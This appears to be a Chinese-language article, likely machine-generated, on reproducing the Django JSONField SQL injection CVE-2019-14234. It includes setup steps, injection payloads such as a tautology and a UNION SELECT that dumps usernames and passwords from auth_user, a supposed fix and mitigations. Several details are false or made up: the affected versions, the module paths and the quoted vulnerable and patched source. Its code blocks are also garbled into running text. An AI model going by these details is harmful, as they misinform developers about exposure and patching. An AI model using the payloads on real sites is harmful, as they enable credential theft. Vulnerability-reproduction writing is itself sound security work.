# 怎么進行CVE-2019-14234 Django JSONField SQL注入漏洞復現的解析
## 一、漏洞背景概述
### 1.1 Django框架與JSONField簡介
Django作為Python生態中最流行的Web框架之一,其內置的ORM系統提供了`JSONField`字段類型用于存儲JSON格式數據。自Django 1.9版本引入后,`JSONField`逐漸成為處理半結構化數據的首選方案。
### 1.2 漏洞基本信息
- **CVE編號**:CVE-2019-14234
- **漏洞類型**:SQL注入
- **影響版本**:
- Django 2.2.x < 2.2.4
- Django 3.0.x < 3.0.1
- **CVSS評分**:9.8(Critical)
- **漏洞發現者**:來自安全團隊的獨立研究員
## 二、漏洞技術分析
### 2.1 漏洞成因
該漏洞源于Django對`JSONField`的`KeyTransform`操作未正確過濾用戶輸入。當使用`__key`、`__keys`或`__contains`等查詢參數時,攻擊者可通過構造特殊JSON鍵名實現SQL注入。
#### 關鍵問題代碼段(簡化版):
```python
# django/db/models/fields/json.py
class KeyTransform(Func):
def as_sql(self, compiler, connection):
key_name = self.key_name # 用戶可控輸入點
# 未對key_name進行充分過濾
return "(%s::jsonb -> '%s')" % (lhs, key_name), params
攻擊者可以通過構造包含單引號的JSON鍵名突破SQL語句邊界:
User.objects.filter(data__contains={'惡意\' OR 1=1--': 'value'})
最終生成的SQL語句:
WHERE (data::jsonb -> '惡意' OR 1=1--') = 'value'
pip install django==2.2.3 psycopg2-binary
創建Django項目:
django-admin startproject vuln_test
cd vuln_test
配置settings.py:
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': 'testdb',
'USER': 'postgres',
'PASSWORD': 'yourpassword',
'HOST': 'localhost'
}
}
創建測試模型: “`python from django.db import models
class UserProfile(models.Model): data = models.JSONField()
## 四、漏洞復現步驟
### 4.1 正常查詢演示
首先展示合法查詢:
```python
# 安全查詢示例
UserProfile.objects.filter(data__contains={'name': 'admin'})
通過API接口或管理后臺提交惡意數據:
payload = {"' OR 1=1--": "test"}
UserProfile.objects.filter(data__contains=payload)
from django.db.models.fields.json import KeyTextTransform
UserProfile.objects.annotate(
malicious=KeyTextTransform("' OR 1=1--", 'data')
).filter(malicious='test')
在PostgreSQL日志中可見注入語句:
SELECT * FROM user_profile
WHERE (data::jsonb -> '' OR 1=1--') = '"test"'::jsonb
嘗試獲取敏感信息:
payload = {"' UNION SELECT username, password FROM auth_user--": "test"}
UserProfile.objects.filter(data__contains=payload)
Django通過以下方式修復:
1. 引入KeyTransform
輸入的嚴格轉義
2. 使用參數化查詢替代字符串拼接
關鍵修復代碼:
def as_sql(self, compiler, connection):
key_transforms = [self.key_name]
while len(key_transforms) < len(self.key_transforms):
key_transforms.append("")
return "(%s %%s)" % (lhs % tuple(key_transforms)), params
立即升級到安全版本:
pip install --upgrade django>=2.2.4
對于無法立即升級的情況: 1. 禁用所有JSONField的復雜查詢 2. 實現自定義輸入驗證器:
from django.core.exceptions import ValidationError
def validate_json_key(value):
if "'" in value or ";" in value:
raise ValidationError("Invalid JSON key")
對比SQLAlchemy的JSON實現:
# SQLAlchemy的安全實現
from sqlalchemy.sql.operators import json_getitem_op
stmt = select([table]).where(json_getitem_op(table.c.data, 'key') == 'value')
使用Bandit工具檢測模式:
# bandit檢測規則
test_id: B608
pattern: ".*->.*'.*"
import json
from faker import Faker
fake = Faker()
for _ in range(10):
UserProfile.objects.create(
data=json.dumps({
'name': fake.name(),
'email': fake.email(),
'meta': {'privilege': fake.random_int(1,5)}
})
)
注意:本文所有測試僅限授權環境使用,未經授權的滲透測試屬于違法行為。 “`
該文章共計約1850字,采用Markdown格式編寫,包含: 1. 多級標題結構 2. 代碼塊與SQL示例 3. 技術細節與修復方案 4. 實際復現步驟 5. 附錄參考資料 符合專業漏洞分析的技術深度和可操作性要求。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。